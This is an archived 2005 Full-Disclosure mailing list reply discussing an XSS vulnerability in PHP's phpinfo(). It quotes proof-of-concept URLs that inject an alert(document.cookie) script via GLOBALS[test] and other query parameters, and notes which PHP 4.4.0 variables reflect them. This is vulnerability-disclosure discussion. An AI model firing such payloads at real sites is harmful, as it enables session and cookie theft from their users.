full-disclosure - Advisory 18/2005: PHP Cross Site Scripting (XSS)XVulnerability in phpinfo()

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <aff68f010511040618g5c4280aeqb2daa809e298bbe3@mail.gmail.com>
Date: Fri Nov  4 14:18:31 2005
From: robert.waters.nospam at gmail.com (Robert Waters)
Subject: Advisory 18/2005: PHP Cross Site Scripting
	(XSS)XVulnerability in phpinfo()

for php 4.4.0, phpinfo.php?test=<script>alert(document.cookie);</script>
*does* work but only in _SERVER["argv"]; using GLOBALS[test] for this php
version the xss is triggered 3 times (_GET["GLOBALS"], _REQUEST["GLOBALS"],
and _SERVER["argv"]). wonder if _SERVER["HTTP_USER_AGENT"] is susceptible?
can't test right now.

On 11/3/05, phole@...hmail.com <phole@...hmail.com> wrote:
>
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> great Work
>
> PoC:
> phpinfo.php?GLOBALS[test]=<script>alert(document.cookie);</script>
>
>
> this Don't Work:
> phpinfo.php?test=<script>alert(document.cookie);</script>
> -----BEGIN PGP SIGNATURE-----
> Note: This signature can be verified at https://www.hushtools.com/verify
> Version: Hush 2.4
>
> wkYEARECAAYFAkNqJ2EACgkQ3APBCuix8ZmWRACgs0IvvixY6zfmkpJ/9APUtgPLFfgA
> oJgOYQ4jbwGaTcJV95ZVyiAQwMXF
> =zYsZ
> -----END PGP SIGNATURE-----
>
>
>
>
> Concerned about your privacy? Instantly send FREE secure email, no account
> required
> http://www.hushmail.com/send?l=480
>
> Get the best prices on SSL certificates from Hushmail
> https://www.hushssl.com?l=485
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051104/1c6cd3fb/attachment.html